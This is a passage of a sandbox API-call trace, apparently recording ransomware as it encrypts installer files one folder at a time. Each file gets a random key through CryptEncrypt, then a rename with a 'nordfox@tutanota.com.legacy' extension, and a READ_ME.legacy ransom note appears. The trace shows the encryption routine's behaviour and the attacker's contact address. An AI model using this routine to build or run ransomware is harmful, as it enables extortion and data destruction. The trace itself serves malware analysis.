lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x14412, lpOverlapped=0x0) returned 1 [0100.336] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=-82962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.336] WriteFile (in: hFile=0x4a4, lpBuffer=0x5b53a0*, nNumberOfBytesToWrite=0x14412, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14412, lpOverlapped=0x0) returned 1 [0100.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0100.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b53a0 | out: hHeap=0x520000) returned 1 [0100.340] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14412 [0100.340] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0100.340] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0100.342] WriteFile (in: hFile=0x4a4, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0100.342] WriteFile (in: hFile=0x4a4, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0100.342] CloseHandle (hObject=0x4a4) returned 1 [0100.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0100.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0100.352] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1036\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0100.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0100.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0100.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0100.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0100.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0100.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0100.359] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0100.359] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1d0 | out: pbBuffer=0x54d1d0) returned 1 [0100.359] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1036\\eula.rtf", dwFileAttributes=0x80) returned 1 [0100.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0100.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0100.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0100.360] CreateFileW (lpFileName="\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a4 [0100.360] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3526) returned 1 [0100.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdc6) returned 0x5a0f80 [0100.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdc6) returned 0x5a1d50 [0100.360] ReadFile (in: hFile=0x4a4, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0xdc6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0xdc6, lpOverlapped=0x0) returned 1 [0100.362] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=-3526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.363] WriteFile (in: hFile=0x4a4, lpBuffer=0x5a1d50*, nNumberOfBytesToWrite=0xdc6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a1d50*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdc6, lpOverlapped=0x0) returned 1 [0100.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0100.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a1d50 | out: hHeap=0x520000) returned 1 [0100.363] SetFilePointer (in: hFile=0x4a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdc6 [0100.363] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0100.363] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0100.363] WriteFile (in: hFile=0x4a4, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0100.364] WriteFile (in: hFile=0x4a4, lpBuffer=0x54d1d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0100.364] CloseHandle (hObject=0x4a4) returned 1 [0100.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0100.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0100.368] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1036\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0100.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0100.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0100.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0100.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0100.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0100.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0100.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0100.387] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8ca5254, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a08a8 [0100.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0100.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0100.387] GetLastError () returned 0x0 [0100.387] SetLastError (dwErrCode=0x0) [0100.387] GetLastError () returned 0x0 [0100.387] SetLastError (dwErrCode=0x0) [0100.387] GetLastError () returned 0x0 [0100.387] SetLastError (dwErrCode=0x0) [0100.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0100.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0100.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0100.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0e68 [0100.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0e68 | out: hHeap=0x520000) returned 1 [0100.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0100.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0100.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0100.388] FindNextFileW (in: hFindFile=0x5a08a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8ca5254, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0100.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0100.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0100.388] GetLastError () returned 0x0 [0100.388] SetLastError (dwErrCode=0x0) [0100.388] GetLastError () returned 0x0 [0100.388] SetLastError (dwErrCode=0x0) [0100.388] GetLastError () returned 0x0 [0100.388] SetLastError (dwErrCode=0x0) [0100.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f90 [0100.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0100.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0100.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0b28 [0100.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0b28 | out: hHeap=0x520000) returned 1 [0100.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20240 [0100.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20240 | out: hHeap=0x520000) returned 1 [0100.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f90 | out: hHeap=0x520000) returned 1 [0100.389] FindNextFileW (in: hFindFile=0x5a08a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0100.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0100.389] GetLastError () returned 0x0 [0100.389] SetLastError (dwErrCode=0x0) [0100.389] GetLastError () returned 0x0 [0100.389] SetLastError (dwErrCode=0x0) [0100.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0100.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0100.389] GetLastError () returned 0x0 [0100.389] SetLastError (dwErrCode=0x0) [0100.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0100.389] FindNextFileW (in: hFindFile=0x5a08a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0100.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0100.389] GetLastError () returned 0x0 [0100.389] SetLastError (dwErrCode=0x0) [0100.389] GetLastError () returned 0x0 [0100.389] SetLastError (dwErrCode=0x0) [0100.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0100.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0100.389] GetLastError () returned 0x0 [0100.389] SetLastError (dwErrCode=0x0) [0100.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0100.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0100.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0100.390] FindNextFileW (in: hFindFile=0x5a08a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ca5254, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8ca5254, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8ca5254, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0100.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0100.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0100.390] GetLastError () returned 0x0 [0100.390] SetLastError (dwErrCode=0x0) [0100.390] GetLastError () returned 0x0 [0100.390] SetLastError (dwErrCode=0x0) [0100.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0100.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0100.390] GetLastError () returned 0x0 [0100.390] SetLastError (dwErrCode=0x0) [0100.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.390] FindNextFileW (in: hFindFile=0x5a08a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0100.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0100.390] GetLastError () returned 0x0 [0100.390] SetLastError (dwErrCode=0x0) [0100.390] GetLastError () returned 0x0 [0100.390] SetLastError (dwErrCode=0x0) [0100.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0100.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0100.390] GetLastError () returned 0x0 [0100.390] SetLastError (dwErrCode=0x0) [0100.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f90 [0100.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f90 | out: hHeap=0x520000) returned 1 [0100.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0100.391] FindNextFileW (in: hFindFile=0x5a08a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0100.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0100.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0100.391] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0100.391] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0100.391] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1037\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0100.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0100.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0100.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0100.392] CreateFileW (lpFileName="\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a8 [0100.392] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16728) returned 1 [0100.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4158) returned 0x5a0f80 [0100.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4158) returned 0x5a50e0 [0100.392] ReadFile (in: hFile=0x4a8, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x4158, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x4158, lpOverlapped=0x0) returned 1 [0100.432] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=-16728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.432] WriteFile (in: hFile=0x4a8, lpBuffer=0x5a50e0*, nNumberOfBytesToWrite=0x4158, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a50e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4158, lpOverlapped=0x0) returned 1 [0100.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0100.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a50e0 | out: hHeap=0x520000) returned 1 [0100.432] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4158 [0100.432] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0100.432] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0100.433] WriteFile (in: hFile=0x4a8, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0100.433] WriteFile (in: hFile=0x4a8, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0100.433] CloseHandle (hObject=0x4a8) returned 1 [0100.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0100.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0100.440] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1037\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0100.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0100.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0100.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0100.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0100.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0100.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0100.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0100.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0100.442] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1037\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0100.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0100.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0100.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0100.444] CreateFileW (lpFileName="\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a8 [0100.444] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=72076) returned 1 [0100.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1198c) returned 0x5a0f80 [0100.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1198c) returned 0x5b2918 [0100.444] ReadFile (in: hFile=0x4a8, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x1198c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x1198c, lpOverlapped=0x0) returned 1 [0100.511] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=-72076, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.511] WriteFile (in: hFile=0x4a8, lpBuffer=0x5b2918*, nNumberOfBytesToWrite=0x1198c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b2918*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1198c, lpOverlapped=0x0) returned 1 [0100.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0100.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b2918 | out: hHeap=0x520000) returned 1 [0100.514] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: 